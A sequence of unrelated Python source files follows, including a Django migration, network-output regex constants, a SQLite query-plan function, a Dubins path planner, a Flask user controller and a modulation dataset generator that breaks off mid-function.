<filename>recipesAPI/recipes/migrations/0011_auto_20220116_2017.py # Generated by Django 3.0.14 on 2022-01-16 19:17 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('recipes', '0010_delete_message'), ] operations = [ migrations.AlterField( model_name='recipe', name='content', field=models.CharField(default='', max_length=10000), ), ]

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apetools/commons/expressions.py

rsnakamura/oldape

0

67347

# python standard library import string NAMED = r"(?P<{name}>{pattern})" GROUP = r"({group})" CLASS = "[{0}]" OR = "|" NOT = "^" SPACE = r'\s' NOT_SPACE = r'\S' DIGIT = r"\d" ANYTHING = '.' WORD_ENDING = r'\b' LINE_ENDING = r"$" LINE_START = "^" M_TO_N_TIMES = "{{{m},{n}}}" ONE_TO_3 = M_TO_N_TIMES.format(m=1, n=3) EXACTLY = "{{{0}}}" ONE_OR_MORE = "+" ZERO_OR_MORE = '*' ZERO_OR_ONE = '?' EVERYTHING = ANYTHING + ZERO_OR_MORE LETTER = CLASS.format(string.ascii_letters) LETTERS = LETTER + ONE_OR_MORE ALPHA_NUM = string.ascii_letters + string.digits ALPHA_NUMS = CLASS.format(ALPHA_NUM) + ONE_OR_MORE ALPHA_NUM_UNDERSCORE = r'\w' ALPHA_NUM_UNDERSCORES = ALPHA_NUM_UNDERSCORE + ONE_OR_MORE SPACE_OPTIONAL = SPACE + ZERO_OR_ONE SPACES_OPTIONAL = SPACE + ZERO_OR_MORE SPACES = SPACE + ONE_OR_MORE DOT = r"\." HEX = CLASS.format(string.hexdigits) HEXADECIMALS = HEX + ONE_OR_MORE INTEGER = DIGIT + ONE_OR_MORE FLOAT = INTEGER + DOT + INTEGER REAL = INTEGER + GROUP.format(group=DOT + INTEGER) + ZERO_OR_ONE OCTET = DIGIT + ONE_TO_3 OCTET_DOT = OCTET + DOT IP_ADDRESS_NAME = "ip_address" IP_ADDRESS = NAMED.format(name=IP_ADDRESS_NAME, pattern=DOT.join([OCTET] * 4)) MAC_ADDRESS_NAME = "mac_address" HEX_PAIR = HEX + EXACTLY.format(2) MAC_ADDRESS = NAMED.format(name=MAC_ADDRESS_NAME, pattern=":".join([HEX_PAIR] * 6)) LINUX_IP = SPACES.join('inet addr:'.split()) + IP_ADDRESS LINUX_MAC = "HWaddr" + SPACES + MAC_ADDRESS ANDROID_IP = 'ip' + SPACES + IP_ADDRESS INTERFACE_STATE_NAME = "state" INTERFACE_STATE = NAMED.format(name=INTERFACE_STATE_NAME, pattern="UP" + OR + "DOWN") NETCFG_IP = SPACES + INTERFACE_STATE + SPACES + IP_ADDRESS + EVERYTHING + MAC_ADDRESS INTERFACE_NAME = "interface" INTERFACE = NAMED.format(name=INTERFACE_NAME, pattern=LETTERS + INTEGER) NETCFG_INTERFACE = INTERFACE + NETCFG_IP RTT = NAMED.format(name="rtt", pattern=REAL) PING = SPACES.join([EVERYTHING + IP_ADDRESS + ":" + EVERYTHING + "time" + SPACES_OPTIONAL + "(=|<)" + SPACES_OPTIONAL + RTT]) PSE_NAME = "pse" PID_NAME = 'pid' PID = NAMED.format(name=PID_NAME, pattern=INTEGER) TTY = GROUP.format(group="\?" + OR + "pts/" + INTEGER) TIME = ":".join([DIGIT + EXACTLY.format(2)] * 3) PROCESS_NAME = "process" PROCESS = NAMED.format(name=PROCESS_NAME,pattern=CLASS.format(NOT + SPACE) + ONE_OR_MORE) PSE_LINUX = SPACES.join([PID, TTY, TIME, PROCESS]) USER = ALPHA_NUM_UNDERSCORES PPID = INTEGER VSIZE = INTEGER RSS = INTEGER WCHAN = ALPHA_NUMS PC = HEXADECIMALS S_OR_R = "(S" + OR + "R)" PS_ANDROID = SPACES.join((USER, PID, PPID, VSIZE, RSS, WCHAN, PC, S_OR_R, PROCESS)) IW_INTERFACE = "Interface" + SPACES + INTERFACE RSSI_NAME = 'rssi' IW_RSSI = "signal:" + SPACES + NAMED.format(name=RSSI_NAME, pattern="-" + INTEGER + SPACES + "dBm") WPA_MAC = "address=" + MAC_ADDRESS WPA_IP = "ip_address=" + IP_ADDRESS WPA_INTERFACE = "Using" + SPACES + "interface" + SPACES + "'" + INTERFACE + "'" SSID_NAME = "ssid" SSID = NAMED.format(name=SSID_NAME, pattern=EVERYTHING + WORD_ENDING) WPA_SSID = LINE_START + "ssid=" + SSID SUPPLICANT_STATE_NAME = "supplicant_state" SUPPLICANT_STATE = NAMED.format(name=SUPPLICANT_STATE_NAME, pattern=LETTERS) WPA_SUPPLICANT_STATE = "wpa_state=" + SUPPLICANT_STATE

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iis-3rdparty-madis/src/main/resources/eu/dnetlib/iis/3rdparty/scripts/madis/functions/vtable/queryplan.py

mpol/iis

20

52686

""" .. function:: queryplan(query) -> Query plan Returns the query plan of the input query. Examples:: >>> sql("queryplan select 5") operation | paramone | paramtwo | databasename | triggerorview ------------------------------------------------------------------ SQLITE_SELECT | None | None | None | None """ import setpath import vtbase import functions import apsw registered=True class QueryPlan(vtbase.VT): def VTiter(self, *parsedArgs, **envars): def authorizer(operation, paramone, paramtwo, databasename, triggerorview): """Called when each operation is prepared. We can return SQLITE_OK, SQLITE_DENY or SQLITE_IGNORE""" # find the operation name plan.append([apsw.mapping_authorizer_function[operation], paramone, paramtwo, databasename, triggerorview]) return apsw.SQLITE_OK def buststatementcache(): c = connection.cursor() for i in xrange(110): a=list(c.execute("select "+str(i))) _, dictargs = self.full_parse(parsedArgs) if 'query' not in dictargs: raise functions.OperatorError(__name__.rsplit('.')[-1]," needs query argument ") query=dictargs['query'] connection = envars['db'] plan=[] buststatementcache() cursor = connection.cursor() cursor.setexectrace(lambda x,y,z:apsw.SQLITE_DENY) connection.setauthorizer(authorizer) cursor.execute(query) connection.setauthorizer(None) yield [('operation', 'text'), ('paramone', 'text'), ('paramtwo', 'text'), ('databasename', 'text'), ('triggerorview', 'text')] for r in plan: yield r def destroy(self): pass def Source(): return vtbase.VTGenerator(QueryPlan) if not ('.' in __name__): """ This is needed to be able to test the function, put it at the end of every new function you create """ import sys import setpath from functions import * testfunction() if __name__ == "__main__": reload(sys) sys.setdefaultencoding('utf-8') import doctest doctest.testmod()

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problems/min-stack.py

sailikhithk/tech-interview-prep

0

135881

#https://leetcode.com/problems/min-stack/ class MinStack(object): def __init__(self): self.stack = [] def push(self, x): self.stack.append((x, min(x, self.getMin()))) def pop(self): if len(self.stack)==0: return None return self.stack.pop()[0] def top(self): if len(self.stack)==0: return None return self.stack[-1][0] def getMin(self): if len(self.stack)==0: return float('inf') return self.stack[-1][1] # Your MinStack object will be instantiated and called as such: # obj = MinStack() # obj.push(x) # obj.pop() # param_3 = obj.top() # param_4 = obj.getMin()

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tcex/tcex_redis.py

jcampbell2017tc/tcex

0

75735

# -*- coding: utf-8 -*- """TcEx Framework Redis Module""" from builtins import str import redis class TcExRedis(object): """Create/Read Data in/from Redis""" def __init__(self, host, port, rhash): """Initialize the Class properties. Args: host (string): The Redis host. port (string): The Redis port. rhash (string): The rhash value. """ self._hash = rhash self._r = redis.StrictRedis(host=host, port=port) def create(self, key, value): """Create key/value pair in Redis. Args: key (string): The key to create in Redis. value (any): The value to store in Redis. Returns: (string): The response from Redis. """ return self._r.hset(self._hash, key, value) def delete(self, key): """Delete data from Redis for the provided key. Args: key (string): The key to delete in Redis. Returns: (string): The response from Redis. """ return self._r.hdel(self._hash, key) def read(self, key): """Read data from Redis for the provided key. Args: key (string): The key to read in Redis. Returns: (any): The response data from Redis. """ data = self._r.hget(self._hash, key) if data is not None and not isinstance(data, str): data = str(self._r.hget(self._hash, key), 'utf-8') return data

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src/mlregression/mlreg.py

muhlbach/ml-regression

1

48971

<gh_stars>1-10 #------------------------------------------------------------------------------ # Libraries #------------------------------------------------------------------------------ # Standard import numpy as np # User from .base.base_mlreg import BaseMLRegressor #------------------------------------------------------------------------------ # MLRegressor #------------------------------------------------------------------------------ class MLRegressor(BaseMLRegressor): """ This class implements the mlreg command """ # ------------------------------------------------------------------------- # Constructor function # ------------------------------------------------------------------------- def __init__(self, estimator, param_grid=None, cv_params={'scoring':None, 'n_jobs':None, 'refit':True, 'verbose':0, 'pre_dispatch':'2*n_jobs', 'error_score':np.nan, 'return_train_score':False}, fold_type="KFold", n_cv_folds=5, shuffle=False, test_size=None, max_n_models=50, n_cf_folds=2, verbose=False, ): super().__init__( estimator=estimator, param_grid=param_grid, cv_params=cv_params, fold_type=fold_type, n_cv_folds=n_cv_folds, shuffle=shuffle, test_size=test_size, max_n_models=max_n_models, n_cf_folds=n_cf_folds, verbose=verbose)

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python/rss18_dtrp.py

petvana/gdip

9

168222

#!/usr/bin/env python3 import sys, os, re, math, copy import numpy as np import matplotlib.pyplot as plt from matplotlib.patches import Circle, PathPatch # import the Python wrapper from dubinswrapper import DubinsWrapper as dubins ################################################ # Scenarios ################################################ #define planning problems: # map file # minimum turning radius # sensing radius # solver type scenarios = [ ("./problems/gdip-n10.txt", 1, 1, 'DTSPN-GDIP'), #("./problems/gdip-n10.txt", 0.5, 1, 'DTSPN-GDIP'), #("./problems/gdip-n10.txt", 1, 0.5, 'DTSPN-GDIP'), ] ################################################ # Settings ################################################ visualize = True show = True # Save figures into a directory "images" save_figures = False if len(sys.argv) > 1: if "-save" in sys.argv[1]: visualize = True save_figures = True if save_figures: os.makedirs("images", exist_ok=True) ################################################## # Functions ################################################## def load_map(filename): """Read config with goal positions""" goals = [] with open(filename) as fp: for line in fp: label, x, y = line.split() goals.append((float(x), float(y))) return goals def plot_points(points, specs = 'b'): x_val = [x[0] for x in points] y_val = [x[1] for x in points] plt.plot(x_val, y_val, specs) def plot_circle(xy, radius): ax = plt.gca() circle = Circle(xy, radius, facecolor='yellow',edgecolor="orange", linewidth=1, alpha=0.2) ax.add_patch(circle) def dist_euclidean(coord1, coord2): (x1, y1) = coord1 (x2, y2) = coord2 (dx, dy) = (x2 - x1, y2 - y1) return math.sqrt(dx * dx + dy * dy) # cache results from computing length of the GDIP lowerPathGDIPLenCache = {} def lowerPathGDIP(s1, s2, turning_radius, cached = False): """Compute lower-bound path using GDIP between two configurations Arguments: s1 - start; s2 - end; turning_radius cached - compute only distance and cache the results Returns: Dubins maneuver (DubinsWrapper) """ if cached: key = (s1, s2) if key in lowerPathGDIPLenCache: length = lowerPathGDIPLenCache[key] return (None, length) interval1 = [s1.alpha1, s1.alpha2 - s1.alpha1] interval2 = [s2.alpha1, s2.alpha2 - s2.alpha1] path = dubins.shortest_path_GDIP(s1.center, interval1, s1.radius, s2.center, interval2, s2.radius, turning_radius) length = path.get_length() if cached: lowerPathGDIPLenCache[key] = length return (None, length) else: return (path, length) def upperPathGDIP(s1, s2, turning_radius, cached = False): """Compute feasible Dubins path two configurations Arguments: s1 - start; s2 - end; turning_radius Returns: (Dubins maneuver 'DubinsWrapper', length) """ q1 = s1.getFeasibleState() q2 = s2.getFeasibleState() dubins_path = dubins.shortest_path(q1, q2, turning_radius) return (dubins_path, dubins_path.get_length()) def compute_distances(samples, dst_fce, turning_radius = 0): n = len(samples) distances = [] for i in range(n): ss1 = samples[i] ss2 = samples[(i+1) % n] n1 = len(ss1) n2 = len(ss2) sh = np.full((n1, n2), np.inf) for i1 in range(n1): for i2 in range(n2): dist = dst_fce(ss1[i1], ss2[i2], turning_radius, cached=True) sh[i1][i2] = dist[1] distances.append(sh) return distances def find_shortest_tour(distances): n = len(distances) best_len = math.inf best_tour = [] # maximal number of samples k_max = max([len(x) for x in distances]) no_start = len(distances[0]) for start in range(no_start): # shortest sh[region_idx][sample_idx] # contains (prev, length) sh = np.full((n+1, k_max), np.inf) # used edge prev = np.full((n+1, k_max), -1) sh[0,start] = 0 for region_idx in range(n): n1 = len(distances[region_idx]) n2 = len(distances[region_idx][0]) for idx2 in range(n2): dst = sh[region_idx][:n1] + distances[region_idx][:,idx2] sh[region_idx+1][idx2] = np.min(dst) prev[region_idx+1][idx2]= np.argmin(dst) act_sol = sh[-1][start] if act_sol < best_len: best_len = act_sol tour = [] act = start for i in range(n): act = prev[n-i][act] tour.append(act) best_tour = list(reversed(tour)) return best_tour def retrieve_path(samples, dst_fce, turning_radius, selected_samples): n = len(samples) path = [] for a in range(0,n): g1 = samples[a][selected_samples[a]] g2 = samples[(a+1) % n][selected_samples[(a+1) % n]] path.append(dst_fce(g1, g2, turning_radius)) return path def path_len(path): return sum_list([dub.get_length() for dub in path]) def plot_path(path, turning_radius, settings): step_size = 0.01 * turning_radius for dub in path: configurations, _ = dub.sample_many(step_size) plot_points(configurations, settings) ################################################## # Target region given by the location and its sensing radius ################################################## class TargetRegion: def __init__(self, center, radius): self.center = center self.radius = radius def get_position_at_boundary(self, beta): return self.center + self.radius * np.array([math.cos(beta), math.sin(beta)]) ################################################## # Sample on the given target region ################################################## class Sample: def __init__(self, targetRegion): # reference to the specific target region of the sample self.target = targetRegion # heading angle interval self.alpha1 = 0 self.alpha2 = 2 * math.pi self.alphaResolution = 1 # position (on the boundary) interval self.beta1 = 0 self.beta2 = 2 * math.pi self.betaResolution = 1 # center and radius of the position neighborhood on the boundary of the target region self.center = np.array(targetRegion.center) self.radius = targetRegion.radius def split(self, resolution): """Split the actual sample into two new ones. The first is stored directly in the actual sample, and the second is returned. If the required resolution is already met, then nothing is done and None is returned. Parameters: resolution: the requred resolution Returns: Sample - the second new sample """ # prefer splitting according position resolution if self.betaResolution < resolution: sam1 = copy.copy(self) sam2 = copy.copy(self) sam1.betaResolution = sam2.betaResolution = 2 * self.betaResolution sam1.beta2 = sam2.beta1 = (self.beta1 + self.beta2) / 2 sam1.update_center_radius() sam2.update_center_radius() return [sam1, sam2] if self.alphaResolution < resolution: sam1 = copy.copy(self) sam2 = copy.copy(self) sam1.alphaResolution = sam2.alphaResolution = 2 * self.alphaResolution sam1.alpha2 = sam2.alpha1 = (self.alpha1 + self.alpha2) / 2 return [sam1, sam2] return None def update_center_radius(self): p1 = self.target.get_position_at_boundary(self.beta1) p2 = self.target.get_position_at_boundary(self.beta2) self.center = (p1 + p2) / 2 self.radius = dist_euclidean(p1, p2) / 2 def getFeasibleState(self): pos = self.target.get_position_at_boundary(self.beta1) q = np.zeros(3) q[0:2] = pos q[2] = self.alpha1 return q def plot(self): ax = plt.gca() circle = Circle(self.center, self.radius, facecolor=None ,edgecolor="green", linewidth=1, alpha=0.2) ax.add_patch(circle) ################################################## # Sampling structure which holds all the used samples ################################################## class Sampling: def __init__(self, centers, sensingRadius): self.targets = [TargetRegion(c, sensingRadius) for c in centers] self.samples = [[Sample(t)] for t in self.targets] def refine_samples(self, selected, resolution): """Refine the seleted samples if the required resolution is not met. Parameters: slected: indexes of the selected samples (vector 1 x n) resolution: the requred resolution Returns: boolean - true if any sample is refined """ n = len(self.samples) refined = False for i in range(n): to_split = selected[i] samp = self.samples[i][to_split] res = samp.split(resolution) if not res is None: self.samples[i][to_split] = res[0] self.samples[i].append(res[1]) refined = True return refined ################################################## # The main solver class ################################################## class GDIPSolver: def __init__(self, turning_radius, goals, sensing_radius): self.turning_radius = turning_radius self.sensing_radius = sensing_radius self.goals = goals self.sampling = Sampling(goals, sensing_radius) self.lower_path = [] self.upper_path = [] self.lower_bound = 0 self.upper_bound = math.inf def plot_map(self): plt.clf() plt.axis('equal') plot_points(self.goals, 'ro') if self.sensing_radius != None: for goal in self.goals: plot_circle(goal, self.sensing_radius) def plot_tour_and_return_length(self, selected_samples, maneuver_function, color): sampling = self.sampling n = len(self.sampling.samples) step_size = 0.01 * self.turning_radius length = 0 for a in range(0,n): g1 = sampling.samples[a][selected_samples[a]] g2 = sampling.samples[(a+1) % n][selected_samples[(a+1) % n]] path = maneuver_function(g1, g2, self.turning_radius) length += path[1] configurations, _ = path[0].sample_many(step_size) if visualize: plot_points(configurations, color) return length def plot_actual_and_return_bounds(self): """Plot the actual sampling, lower and upper bound path Returns: (double, double) - lower bound, upper bound """ if visualize: self.plot_map() for s in self.sampling.samples: for ss in s: ss.plot() lower_selected_samples = self.find_lower_bound_tour() upper_selected_samples = self.find_upper_bound_tour() lower_bound = self.plot_tour_and_return_length(lower_selected_samples, lowerPathGDIP, 'r-') upper_bound = self.plot_tour_and_return_length(upper_selected_samples, upperPathGDIP, 'b-') return (lower_bound, upper_bound) def find_lower_bound_tour(self): """Select the samples which represent the shortest lower bound tour Returns: indexes of the samples (vector 1 x n) """ distances = compute_distances(self.sampling.samples, lowerPathGDIP, turning_radius = self.turning_radius) selected_samples = find_shortest_tour(distances) return selected_samples def find_upper_bound_tour(self): """Select the samples which represent the shortest upper bound (feasible) tour Returns: indexes of the samples (vector 1 x n) """ distances = compute_distances(self.sampling.samples, upperPathGDIP, turning_radius = self.turning_radius) selected_samples = find_shortest_tour(distances) return selected_samples ################################################## # Main loop over selected scenarios ################################################## for scenario in scenarios: # Load the problem and scenario settings filename = scenario[0] goals = load_map(filename) turning_radius = scenario[1] sensing_radius = scenario[2] solver_type = scenario[3] #tour planning part solver = GDIPSolver(turning_radius, goals, sensing_radius) solver.plot_actual_and_return_bounds() print("\n--- Problem: {} Turning radius: {:6.2f} Sensing radius: {:6.2f} ---" .format(filename, turning_radius, sensing_radius)) if show: plt.pause(0.1) max_resolution = 64 act_res = 4 while act_res <= max_resolution: refined = True while refined: selected_samples = solver.find_lower_bound_tour() refined = solver.sampling.refine_samples(selected_samples, act_res) (lower_bound, upper_bound) = solver.plot_actual_and_return_bounds() gap = (upper_bound - lower_bound) / upper_bound * 100.0 print("Res: {:4d} Lower: {:6.2f} Upper: {:6.2f} Gap(%): {:6.2f}" .format(act_res, lower_bound, upper_bound, gap)) if visualize: plt.title("Maximum resolution: {:4d}".format(act_res)) if show: plt.pause(0.1) if save_figures: plt.savefig("images/dtrp-res-{:04d}.png".format(act_res)) act_res *= 2 if show: plt.pause(2)

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app/controllers/user_controller.py

ryannewman2828/Hack-the-North-2018-Backend-Challenge

0

62517

<filename>app/controllers/user_controller.py from app.models.users import User from app.models.skills import Skill from flask import request from flask_restful import Resource from app.models.database import db_session string_args = ["name", "picture", "company", "email", "phone", "country"] float_args = ["latitude", "longitude"] class UserController(Resource): def get(self, user_id): user = User.query.get(user_id) if user is not None: user = user.as_dict() skills = Skill.query.filter(Skill.user_id == int(user_id)).all() user['skills'] = map(lambda skill: skill.as_dict(), skills) return {"user": user}, 200 return {"error": "User not Found"}, 404 def put(self, user_id): user = User.query.get(user_id) if user is not None: args = request.get_json(silent=True) for key, value in args.items(): if args[key] is not None: if (key in string_args and isinstance(args[key], str)) or \ (key in float_args and isinstance(args[key], float)): setattr(user, key, args[key]) db_session.commit() return {"user": user.as_dict()}, 200 return {"error": "User not found"}, 404

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Topic_2_statements/simpleSubtraction.py

Izardo/myWork

0

153840

# This program subtracts one number from another # Author: <NAME> first = int(input("Enter the first number:")) # requests input of integer from user second = int(input("Enter the second number:")) # requests input of integer from user # prints sum below print(first - second)

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frm_dataset_creator2.py

uclacores/dual_path_network

4

168739

#from frm_generate_data_np import * import numpy as np from numpy import pi,sqrt model_folder="models/freq_2019_07_02_2/" from frm_modulations import mod_list,cont_phase_mod_list,linear_mod_const # import tensorflow as tf import datetime import pickle import sys import copy from frm_dataset_creator import * from numba import jit from frm_modulations_fast import modulate_symbols_fast,modulate_symbols # In[199]: def func(my_dict): # print(my_dict) return generate_dataset_sig2(**my_dict) def generate_dataset_sig2_parallel(n_samples, pkt_size,max_sps,mod_list,sps_rng,pulse_ebw_list,timing_offset_rng,fading_spread_rng,freq_err_rng,phase_err_rng,snr_rng, complex_fading = False,freq_in_hz = False, seed = None, fname = None, version = 1,nthreads = 10 ): #1e4 args_in = locals() args_in.pop('nthreads',None) rand_step =374861 args_list = [] for i in range(nthreads): args_list.append(copy.deepcopy(args_in)) if args_in['seed'] is not None: for indx,args in enumerate(args_list): args['seed'] = args_in['seed'] + indx * rand_step get_tmp_name = lambda base, indx : "{}_{}".format(base, indx) # if fname is not None: # base_name = fname # else: # base_name = 'tmp/dataset' # base_name = '/tmp/dataset{}'.format(np.random.randint(0,1000000)) for indx,args in enumerate(args_list): args['fname'] = None #get_tmp_name(base_name,indx) args['n_samples'] = args_in['n_samples']//nthreads p = Pool(nthreads) datasets = p.map(func, args_list) # with open(get_tmp_name(base_name,0),'rb') as f: # dataset = pickle.load(f) dataset_out = datasets[0] for i in range(1,nthreads): dataset_i = datasets[i] for k1 in dataset_out.keys(): if isinstance(dataset_out[k1],dict): for k2 in dataset_out[k1].keys(): # print(k1,k2) if k1!='args' and k1!='time': dataset_out[k1][k2] = np.append(dataset_out[k1][k2],dataset_i[k1][k2],axis = 0) dataset_out['args'] = args_in dataset_out['time'] = str(datetime.datetime.now()) if fname is not None: with open(fname,'wb') as f: pickle.dump(dataset_out,f) return dataset_out def generate_dataset_sig2(n_samples, pkt_size,max_sps,mod_list,sps_rng,pulse_ebw_list,timing_offset_rng,fading_spread_rng,freq_err_rng,phase_err_rng,snr_rng,complex_fading = False, freq_in_hz = False, seed = None, fname = None, version = 1): args = locals() if seed is not None: np.random.seed(seed) comb_v = np.zeros((n_samples,pkt_size,2)) carrier_v = np.zeros((n_samples,pkt_size,2)) fading_v = np.zeros((n_samples,pkt_size,2)) clean_v = np.zeros((n_samples,pkt_size,2)) timing_v = np.zeros((n_samples,pkt_size,2)) raw_v = np.zeros((n_samples,pkt_size,2)) mod_v = np.zeros((n_samples,len(mod_list))) if not complex_fading: coeff = np.zeros((n_samples,6)) else: coeff = np.zeros((n_samples,6),dtype='complex') mod_index = np.random.choice(len(mod_list),(n_samples,)).astype(np.int_) mod_v[range(n_samples),mod_index] = 1 sps = np.random.uniform(sps_rng[0],sps_rng[1],(n_samples,)) pulse_ebw = np.random.choice(pulse_ebw_list,(n_samples,)) timing_offset = np.random.uniform(timing_offset_rng[0],timing_offset_rng[1],(n_samples,)) fading_spread = np.random.uniform(fading_spread_rng[0],fading_spread_rng[1],(n_samples,)) freq_err = np.random.uniform(freq_err_rng[0],freq_err_rng[1],(n_samples,)) phase_err = np.random.uniform(phase_err_rng[0],phase_err_rng[1],(n_samples,)) if np.array(snr_rng).size==2: snr = np.random.uniform(snr_rng[0],snr_rng[1],(n_samples,)) else: snr = np.random.choice(snr_rng,(n_samples,)) progress_step = 1000 a = datetime.datetime.now() strt_time = copy.deepcopy(a) for samp_indx in range(n_samples): mod = mod_list[mod_index[samp_indx]] op = create_sample_fast( mod = mod,pkt_len = pkt_size,sps=sps[samp_indx],pulse_ebw = pulse_ebw[samp_indx], timing_offset = timing_offset[samp_indx], fading_spread = fading_spread[samp_indx], freq_err = freq_err[samp_indx], phase_err =phase_err[samp_indx], snr = snr[samp_indx], max_sps = max_sps, complex_fading = complex_fading, freq_in_hz = freq_in_hz, seed = None) mod_v[:,0] = 1 comb_v[samp_indx] ,carrier_v[samp_indx],fading_v[samp_indx],clean_v[samp_indx],timing_v[samp_indx],raw_v[samp_indx],coeff[samp_indx] = op if samp_indx%progress_step == 0 and samp_indx>0: b = datetime.datetime.now() diff_time = b-a # the exact output you're looking for: sys.stdout.write("\rGenerated {} out of {} ({:.1f}%), Elapsed {} , estimated {}".format(samp_indx,n_samples, float(samp_indx)/n_samples*100, b-strt_time , (n_samples-samp_indx)*diff_time /progress_step )) sys.stdout.flush() a = copy.deepcopy(b) op ={'sig':{},'params':{},'data':{}} op['sig']['comb'] = comb_v op['sig']['timing_fading_carrier'] = carrier_v op['sig']['timing_fading'] = fading_v op['sig']['timing'] = clean_v op['params']['mod'] = mod_index op['params']['fading_spread'] = fading_spread op['params']['fading_taps'] = coeff op['params']['freq_off'] = freq_err op['params']['phase_off'] = phase_err op['params']['timing_off'] = timing_offset op['params']['symb_rate'] = sps op['data']['binary_marking'] = timing_v op['params']['sps'] = sps op['params']['pulse_ebw'] = pulse_ebw op['sig']['timing_raw_unique'] = raw_v op['params']['snr'] = snr op['args'] = args op['time'] = str(datetime.datetime.now()) op['version'] = version if fname is not None: with open(fname,'wb') as f: pickle.dump(op,f) return op def create_sample( mod = 'bpsk',pkt_len = 128,sps=8,pulse_ebw = 0.35, timing_offset = 0.5, fading_spread = 1, freq_err = 0.0001, phase_err = np.pi, snr = 10, max_sps = 128, complex_fading = False, freq_in_hz = False, seed = None): samp_rate = 1 if seed is not None: np.random.seed(seed) if mod in cont_phase_mod_list: order = 2 else: # Linear modulation order = linear_mod_const[mod].size n_symbols = int( (pkt_len)/(sps*0.5)) + 2 data_symbs=np.random.randint(0,order,n_symbols) mag = timing_offset timing_offset = calc_timing_offset(mag, max_sps) timing_step = int(max_sps/sps) mod_symbs_max_sps=modulate_symbols(data_symbs,mod,max_sps,ebw = pulse_ebw) data_symbs_max_sps= np.repeat(data_symbs,max_sps) t_max_sps= np.arange(0,1.0*max_sps*n_symbols/samp_rate,1.0/samp_rate) transition_data_ideal = np.array(([1,]*max_sps + [0,]*max_sps) * int(n_symbols/2+1)) mod_symbs_timing_err = simulate_timing_error(mod_symbs_max_sps,timing_offset,timing_step, pkt_len) data_symbs_timing_err = simulate_timing_error(data_symbs_max_sps,timing_offset,timing_step, pkt_len) mod_raw_symbs_timing_err = modulate_symbols(data_symbs_timing_err,mod,sps = 1, ebw = None, pulse_shape = None) t_timing_err = simulate_timing_error(t_max_sps,timing_offset,timing_step, pkt_len) marking_b_timing = simulate_timing_error(transition_data_ideal,timing_offset,timing_step, pkt_len) transition_data_timing = simulate_timing_error(transition_data_ideal,timing_offset,timing_step, pkt_len+1) transition_data_timing = np.abs(np.diff(transition_data_timing)).astype('int') mod_raw_unique_symbs_timing_err = mod_raw_symbs_timing_err*transition_data_timing mod_raw_unique_symbs_timing_err[transition_data_timing==0]=np.nan+1j*np.nan if not complex_fading: coeff = generate_fading_taps(max_sps / timing_step, fading_spread) mod_symbs_timing_fading = simulate_fading_channel(mod_symbs_timing_err, coeff) else: coeff=generate_complex_fading_taps(max_sps / timing_step, fading_spread) mod_symbs_timing_fading = simulate_fading_channel_complex(mod_symbs_timing_err, coeff) if not freq_in_hz: t_freq = t_timing_err else: t_freq = np.arange(t_timing_err.size) mod_symbs_timing_fading_freq_err = simulate_frequency_error(mod_symbs_timing_fading,t_freq,freq_err,phase_err) carrier_timing_err = simulate_frequency_error(1.0,t_freq,freq_err,phase_err) mod_symbs_timing_fading_freq_noise = add_noise(mod_symbs_timing_fading_freq_err,snr) op = mod_symbs_timing_fading_freq_noise comb = assign_iq2(mod_symbs_timing_fading_freq_noise) carrier = assign_iq2(mod_symbs_timing_fading_freq_err) fading = assign_iq2(mod_symbs_timing_fading) clean = assign_iq2(mod_symbs_timing_err)#assign_iq2(mod_symbs_max_sps)# timing = np.zeros((pkt_len,2)) timing[range(pkt_len),marking_b_timing] = 1 raw = assign_iq2(mod_raw_unique_symbs_timing_err) return (comb ,carrier,fading,clean,timing,raw,coeff) @jit(nopython=True) def create_marking(max_sps,timing_step,timing_offset,pkt_len): x = np.zeros(pkt_len+1,dtype=np.int_) timing_offset = int(timing_offset) indx = int(timing_offset) state = True prev_max_sps = indx% max_sps for i in range(0,x.size): x[i] = state indx = indx +timing_step cur_max_sps = indx%max_sps if cur_max_sps<prev_max_sps: state = not state prev_max_sps = cur_max_sps return x def create_sample_fast( mod = 'bpsk',pkt_len = 128,sps=8,pulse_ebw = 0.35, timing_offset = 0.5, fading_spread = 1, freq_err = 0.0001, phase_err = np.pi, snr = 10, max_sps = 128,complex_fading = False, freq_in_hz = False, seed = None): samp_rate = 1 if seed is not None: np.random.seed(seed) if mod in cont_phase_mod_list: order = 2 else: # Linear modulation order = linear_mod_const[mod].size n_symbols = int( (pkt_len)/(sps*0.5)) + 2 data_symbs=np.random.randint(0,order,n_symbols) mag = timing_offset timing_offset = calc_timing_offset(mag, max_sps) timing_step = int(max_sps/sps) mod_symbs_max_sps=modulate_symbols_fast(data_symbs,mod,max_sps,timing_offset,timing_step,ebw = pulse_ebw) data_symbs_max_sps= np.repeat(data_symbs,max_sps) t_max_sps= np.arange(0,1.0*max_sps*n_symbols/samp_rate,1.0/samp_rate) mod_symbs_timing_err = mod_symbs_max_sps[:pkt_len] data_symbs_timing_err = simulate_timing_error(data_symbs_max_sps,timing_offset,timing_step, pkt_len) mod_raw_symbs_timing_err = modulate_symbols(data_symbs_timing_err,mod,sps = 1, ebw = None, pulse_shape = None) t_timing_err = simulate_timing_error(t_max_sps,timing_offset,timing_step, pkt_len) transition_data_timing = create_marking(max_sps,timing_step,timing_offset,pkt_len) marking_b_timing = transition_data_timing[:-1] transition_data_timing = np.abs(np.diff(transition_data_timing)).astype('int') mod_raw_unique_symbs_timing_err = mod_raw_symbs_timing_err*transition_data_timing mod_raw_unique_symbs_timing_err[transition_data_timing==0]=np.nan+1j*np.nan if not complex_fading: coeff = generate_fading_taps(max_sps / timing_step, fading_spread) mod_symbs_timing_fading = simulate_fading_channel(mod_symbs_timing_err, coeff) else: coeff=generate_complex_fading_taps(max_sps / timing_step, fading_spread) mod_symbs_timing_fading = simulate_fading_channel_complex(mod_symbs_timing_err, coeff) if not freq_in_hz: t_freq = t_timing_err else: t_freq = np.arange(t_timing_err.size) mod_symbs_timing_fading_freq_err = simulate_frequency_error(mod_symbs_timing_fading,t_freq,freq_err,phase_err) carrier_timing_err = simulate_frequency_error(1.0,t_freq,freq_err,phase_err) mod_symbs_timing_fading_freq_noise = add_noise(mod_symbs_timing_fading_freq_err,snr) op = mod_symbs_timing_fading_freq_noise comb = assign_iq2(mod_symbs_timing_fading_freq_noise) carrier = assign_iq2(mod_symbs_timing_fading_freq_err) fading = assign_iq2(mod_symbs_timing_fading) clean = assign_iq2(mod_symbs_timing_err) timing = np.zeros((pkt_len,2)) timing[range(pkt_len),marking_b_timing.astype(np.int_)] = 1 raw = assign_iq2(mod_raw_unique_symbs_timing_err) return (comb ,carrier,fading,clean,timing,raw,coeff) def assign_iq2( complex_vec): op_vec = np.zeros((complex_vec.shape[0],2)) 